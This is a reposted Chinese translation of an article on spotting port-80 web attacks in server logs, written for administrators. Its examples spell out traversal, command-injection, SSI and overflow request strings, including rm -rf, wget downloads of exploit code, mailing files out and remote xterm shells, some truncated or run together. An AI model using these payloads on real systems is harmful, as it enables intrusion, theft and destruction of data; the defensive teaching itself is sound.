2009年12月10日

[轉載]80埠web服務攻擊痕跡(LOG研究)

80埠web服務攻擊痕跡(LOG研究)

80埠web服務攻擊痕跡

作者: Zenomorph
翻譯:盈星滿月

I. 摘要
II.詳細描述
III. 更進一步
IV. 溢出分析
V. 編碼轉換
VI. 結論

[摘要]
web站點默認80為服務埠,關於它的各種安全問題不斷的發佈出來,這些漏洞中一些甚至允許攻擊者獲得系統管理員的許可權進入站點內部,以下是Zenomorph對一些80埠攻擊方式的痕跡的研究,和告訴你怎樣從日誌記錄中發現問題。

[詳細描述]
下面部分通過一些列子,展示對web伺服器和其上的應用程式普遍的攻擊,和其留下的痕跡,這些列子僅僅是代表了主要的攻擊方式,並沒有列出所有的攻擊形式,這部分將詳細描述每種攻擊的作用,和其怎樣利用這些漏洞進行攻擊。

(1)"." ".." 和 "..." 請求
這些攻擊痕跡是非常普遍的用於web應用程式和web伺服器,它用於允許攻擊者或者蠕蟲病毒程式改變web伺服器的路徑,獲得訪問非公開的區域。大多數的CGI程式漏洞含有這些".."請求。
Example:

http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

這個列子展示了攻擊者請求mosd這個檔,如果攻擊者有能力突破web伺服器根目錄,那麼可以獲得更多的資訊,並進一步的獲得特權。

(2)"%20" 請求
%20是表示空格的16進制數值,雖然這個並不代表你能夠利用什麼,但是在你流覽日誌的時候會發現它,一些web伺服器上運行的應用程式中這個字元可能會被有效的執行,所以,你應該仔細的查看日誌。另一方面,這個請求有時可以幫助執行一些命令。
Example:

http://host/cgi-bin/lame.cgi?page=ls%20-al

這個列子展示了攻擊者執行了一個unix的命令,列出請求的整個目錄的檔,導致攻擊者訪問你系統中重要的檔,幫助他進一步取得特權提供條件。

(3)"" 請求
表示16進制的空位元組,他能夠用於愚弄web應用程式,並請求不同類型的檔。
Examples:

http://host/cgi-bin/lame.cgi?page=index.html

這可能是個有效的請求在這個機子上,如果攻擊者注意到這個請求動作成功,他會進一步尋找這個cgi程式的問題。

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

也許這個cgi程式不接受這個請求,原因在於它要檢查這個請求檔的尾碼名,如:html.shtml或者其他類型的文件。大多數的程式會告訴你所 請求的檔類型無效,這個時候它會告訴攻擊者請求的檔必須是一某個字元尾碼的檔類型,這樣,攻擊者可以獲得系統的路徑,檔案名,導致在你的系統獲得更多的敏 感資訊

http://host/cgi-bin/lame.cgi?page=../.. ... otdhtml

注意這個請求,它將騙取cgi程式認為這個檔是個確定的可接受的檔類型,一些應用程式由於愚蠢的檢查有效的請求檔,這是攻擊者常用的方法。

(4)"│" 請求
這是個管道字元,在unix系統用於幫助在一個請求中同時執行多個系統命令。
Example:

# cat access_log│ grep -i ".."

(這個命令將顯示日誌中的「..「請求,常用於發現攻擊者和蠕蟲攻擊)
常可以看到有很多web應用程式用這個字元,這也導致IDS日誌中錯誤的報警。
在你的程式仔細的檢查中,這樣是有好處的,可以降低錯誤的警報在入侵檢測系統中。
下面給出一些列子:

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls

這個請求命令執行,下面是一些變化的列子

http://host/cgi-bin/lame.cgi?page=../.. ... -al%20/etc

這個請求在unix系統中列出/etc目錄的所有檔

http://host/cgi-bin/lame.cgi?page=cat%20access_log│grep%20-i%20"lame"

這個請求cat命令的執行並且grep命令也將執行,查詢出」lame"

(5)";" 請求
在unix系統,這個字元允許多個命令在一行執行
Example:

# id;uname -a

(執行id命令後,緊跟著執行uname命令)
一些web程式用這個字元,可能導致在你的IDS日誌中失敗的警告,你應該仔細的檢查你的web程式,讓你的IDS警報失敗的幾率降低。

(6)"" 請求
應該檢查你的日誌記錄中這兩個字元,眾多的原因中,首要的一個是這個字元表明了添加資料在檔中
Example 1:

# echo "your hax0red h0 h0" >> /etc/motd (請求寫資訊在motd這個檔中)

一個攻擊者可以容易的用象上面的這個請求篡改你的web頁面。比如著名的RDS exploit常被攻擊者用於更改web主頁面。
Example 2:

[url=http://host/something.php=Hi%20mom%20Im%20Bold!Hi%20mom%20Im%20Bold!

你會注意到這裡html語言的標誌,他同樣用了「〈」,「〉」字元,這種攻擊不能導致攻擊者對系統進行訪問,它迷惑人們認為這是個合法的資訊在 web站點中(導致人們在訪問這個聯結的時候訪問到攻擊者設定的位址,這種請求可能會被轉變成16進制的編碼字元形式,使攻擊的痕跡不那麼明顯)

(7)"!"請求
這種字元請求常用語對SS(Server Side Include) I進行攻擊,如果攻擊者迷惑用戶點擊被攻擊者設定的聯結,和上面的一樣。
Example:

http://host1/something.php="-->

這個列子是攻擊者可能會做的,它讓一個host2站點上的檔看起來是來自於 host1上面的(當然,需要訪問者訪問這個被攻擊者設定的聯結。這種請求可能被轉化成16進制的編碼偽裝,不易發現)
同時,這種方式也可以以web站點的許可權執行命令
Example:

http://host/something.php="-->

這個列子在遠端的系統上執行「id"的命令,它將顯示這個web站點用戶的id,通常是」nobody"或者「www"
這種形式也允許包含隱藏檔。
Example:

http://host/something.php="-->

這個隱藏檔.htpasswd不會被顯示出來,Apache建立的規則會拒絕這種以.ht 形式的請求,而SSI標誌會繞過這種限制,並導致安全問題

(8)"
在某些簡單的php應用程式中,它可能會在遠端系統上以web站點用戶的許可權執行本地命令

(9)"`" 請求
這種字元後面常用在perl中執行命令,這個字元在web應用程式中不是經常的使用,所以,如果看到它在你的日誌中,應該非常小心
Example:

http://host/something.cgi=`id`

一個perl寫的有問題的cgi程式,會導致執行id命令

[更進一步]
下面部分將討論更多的攻擊者可能執行的命令,連同被請求的檔,以及如果你有遠端執行命令的缺陷,應該怎樣檢查發現它。這部分只是給你個好的思路,並告訴你的系統發生了什麼,攻擊者嘗試攻擊你的系統的痕跡,但並不能列舉所有的攻擊者使用的命令和請求的方式。

"/bin/ls"

這個命令請求整個路徑,在很多的web應用程式中都有這個漏洞,如果你在日誌中很多地方都看到這種請求,很大的可能性是存在遠端執行命令漏洞,但 並不一定是個問題,也可能是個錯誤的警報。再一次提醒,寫好的web應用程式(cgi,asp,php...etc)是安全的基礎
Example:

http://host/cgi-bin/bad.cgi?doh=../../. ... n/ls%20-al
http://host/cgi-bin/bad.cgi?doh=ls%20-al;
"cmd.exe"

這是一個windows的shell,一個攻擊者如果訪問並運行這個腳本,在伺服器設置允許的條件下可以在windows機器上做任何事情,很多的蠕蟲病毒就是通過80埠,傳播到遠端的機器上

http://host/scripts/WINNT/system32/cmd.exe?dir+e:
"/bin/id"

這是個2進制的檔,它的問題和/bin/ls一樣,如果你在日誌中很多地方都看到這種請求,很大的可能性是存在遠端執行命令漏洞,但並不一定是個問題,也可能是個錯誤的警報。
它將顯示屬於哪個用戶和屬於哪個組
Example:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/id
http://host/cgi-bin/bad.cgi?doh=id;
"/bin/rm"

這個命令可以刪除檔,如果不正確的使用是非常危險的
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... %20-rf%20*
http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;

"wget and tftp" 命令
這些命令常被攻擊者用來下載可能進一步獲得特權的檔,wget是unix下的命令,可能被用來下載後門程式,tftp是unix和nt下的命令,用來下載文件。一些IIS蠕蟲通過tftp來複製自身傳播病毒到其他的主機
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... hantasmp.chttp://host/cgi-bin/bad.cgi?doh=wget%20 ... antasmp.c;

"cat" 命令
這個命令用來查看檔內容,常用來讀重要的資訊,比如配置檔,密碼檔,信用卡檔和你能夠想到的檔
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... 0/etc/motdhttp://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

"echo" 命令
這個命令常用於寫資料到檔中,比如「index.html」
Examples:

>%200day.txt'>http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt│ >%200day.txt'>http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;

"ps" 命令
列出當前運行的進程,告訴攻擊者遠端主機運行了那些軟體,以便從中得到一些安全問題的主意,獲得進一步的許可權
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... /ps%20-auxhttp://host/cgi-bin/bad.cgi?doh=ps%20-aux;

"kill and killall" 命令
在unix系統這個命令用於殺掉進程,一個攻擊者可以用這個命令來停止系統服務和程式,同時可以擦掉攻擊者的痕跡,一些exploit會產生很多的子進程
Examples:

http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

"uname" 命令
這個命令告訴攻擊者遠端機器的名字,一些時候,通過這個命令知道web站點位於哪個isp,也許是攻擊者曾今訪問過的。通常uname -a來請求,這些都將記錄在日誌檔中
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... uname%20-ahttp://host/cgi-bin/bad.cgi?doh=uname%20-a;

"cc, gcc, perl, python, etc..." 編譯/解釋命令
攻擊者通過wget或者tftp下載exploit,並用cc,gcc這樣的編譯程序進行編譯成可執行程式,進一步獲得特權
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... hantasmp.chttp://host/cgi-bin/bad.cgi?doh=gcc%20P ... p%2031337;

如果你查看日誌中發現有「perl」 python」這些說明可能攻擊者下載遠端的perl ,python腳本程式,並試圖本地獲得特權

"mail" 命令
攻擊者通常用這個命令將系統的一些重要檔發到攻擊者自己的信箱,也肯能是進行郵件炸彈的攻擊
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... ker.org%20

"xterm/其他X 應用程式" 命令
xterm 常用來獲得遠端機器上的shell,如果你在你的日誌中發現這些符號,可要認真分析你的系統,可能已經存在安全裂口。注意在日誌中查找"%20-display%20" 這個字元,這種痕跡通常是在遠端機子上啟動xterm或者X應用程式
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... 2.168.22.1http://host/cgi-bin/bad.cgi?doh=Xeyes%2 ... .168.22.1;

"chown, chmod, chgrp, chsh, etc..." 等命令
在unix系統這些命令允許改變檔的許可許可權
chown = 允許設置檔的擁有者chmod = 允許設置檔的許可許可權chgrp = 允許改變組對檔的擁有許可權chsh = 允許改變用戶的shell
Examples:

http://host/cgi-bin/bad.cgi?doh=../../. ... index.htmlhttp://host/cgi-bin/bad.cgi?doh=chmod%2 ... ndex.html; http://host/cgi-bin/bad.cgi?doh=../../. ... ter.passwdhttp://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../../. ... etc/shadow

"/etc/passwd" 文件
這是系統的密碼檔,一般是shadow過的,並且不允許看到加密的口令,不過對攻擊者來說,可以知道那些是有效的用戶,以及系統的絕對路徑,站點名稱等資訊,由於通常被shadow過的,所以對攻擊者,通常會查看/etc/shadow 檔

"/etc/master.passwd"

這個檔是BSD系統的密碼檔,包含有加密過的密碼,這個檔對root帳號僅僅是唯讀的,而一些不熟練的攻擊者會打開他試圖讀取裡面的內容.,如果web站點是以root許可權運行的,那麼對攻擊者來說,就能夠讀取裡面的內容,對系統管理員很多問題也將接踵而來

"/etc/shadow"

包含有加密過的系統口令,對root帳號同樣唯讀,和/et/master.passwd差不多

"/etc/motd"

當用戶登陸進unix系統中出現的資訊,就在這個"Message of the Day" 檔中 ,它提供重要的系統資訊和管理員對用戶的一些設置,那些是希望用戶看到的,那些不是,還含有系統的版本資訊,攻擊者通常查看此檔,瞭解是什麼系統在運行, 對攻擊者來說,下一步是搜索這種類型的系統的exploit,進一步獲得系統特權

"/etc/hosts"

該檔提供ip位址和網路資訊,攻擊者可以瞭解更多的系統中的網路設置

"/usr/local/apache/conf/httpd.conf"

這是個Apache web伺服器的配置檔,攻擊者可以瞭解諸如cgi,ssi是否可訪問等資訊

"/etc/inetd.conf"

這是inetd服務的配置檔,攻擊者可以瞭解遠端機器上的那些服務啟動,是否用了wrapper進行訪問控制,如果發現wrapper 運行著,攻擊者下一步會檢查"/etc/hosts.allow" 和 "/etc/hosts.deny",文件,並可能會更改裡面的一些設置,獲得特權

".htpasswd, .htaccess, and .htgroup"

這些檔通常在web站點用於對用戶身份進行認證,攻擊者會查看這些檔,並獲得用戶名和密碼,密碼檔.htpasswd被加密過,通過一些簡單的破解程式進行解密,使攻擊者訪問站點中被保護的區域(通常用戶用和用戶名相同的密碼,以至攻擊者可以以其他帳號進行訪問)

"access_log and error_log"

這些是apache伺服器的日誌記錄檔,攻擊者常會查看這些檔,看那些請求被記錄,那些和其他請求不同的地方
通常,攻擊者會修改這些日誌檔,比如他自身的位址資訊,攻擊者通過80埠突破你的系統,而你的系統又沒有進行備份的工作,也沒有其他記錄程式記錄系統狀況,這將使入侵檢測工作變的很困難

"[drive-letter]:winntrepairsam._ or [drive-letter]:winntrepairsam"

Windows NT系統中的密碼檔,如果遠端命令不可以執行,通常攻擊者會請求這些檔,然後通過"l0pht crack"之類的密碼破解工具進行破解,如果攻擊者試圖攻擊administrator的密碼檔,如果成功那麼遠端機器將被攻擊者得到控制權

[溢出 分析]
我不會在這篇文章中說過多的關於溢出的話題,我將舉列說明那些現象和痕跡值得注意和特別關注的地方,緩衝攻擊常被攻擊者通過編碼轉換和其他途徑來達到不易發現
下面是個簡單的列子
Example:

http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA

這個列子展示了攻擊者對某個應用程式發送很多的A字元,來測試程式的緩衝溢出,緩衝溢出可以獲得遠端主機的命令執行許可權,如果是具有 setuid和屬主為root的程式,通過溢出,可以得到整個系統的訪問許可權,如果不是setuid之類的程式,那麼溢出僅僅是得到運行該web站點的 用戶許可權
這裡並不能講述所有的情況,不過你應該有定時的檢查你的日誌檔,如果那一天突然發現很多的請求,而平時的請求不多,那麼說明你正遭受到溢出的攻擊,當然也可能是一種新的網路蠕蟲的攻擊

[編碼轉換]
以上提及的所有攻擊請求,攻擊者通常知曉IDS系統常會機械的檢查這些請求,通常是攻擊者會用編碼轉換工具將所請求的內容轉化成16進制的格式, 導致IDS會忽略這些請求,我們熟知的CGI漏洞掃瞄工具Whisker就是個很好的列子。如果你在查看日誌的時候發現大量的16進制和不常見的一些字 元,那麼可能攻擊者嘗試用一些方式對你的系統進行攻擊
一種快速發現的方法是,將你的日誌檔中的那些16進制的請求,拷貝到你的流覽器中,通過流覽器可以轉化成正確的請求,並顯示出來請求的內容,如果你不敢冒這個危險,簡單的man ASCII,可以提供給你正確的編碼。

[結論]
這篇文章不可能覆蓋所有的80埠的攻擊,但是以上已經列舉了大部分普遍的攻擊方式,同時告訴你如何檢查你的日誌檔,和怎樣加如一些IDS的規則, 寫她的目的在於給web系統管理員應該關注什麼提供一個好的思路,同時,我也希望這篇文章可以幫助給web程式的開發者寫出更好的web程式

作者註:如果你有什麼註解和建議,請發電子郵件
niska@21cn.com

http://bbs.ccidnet.com/showthread.php?threadid=207099

沒有留言: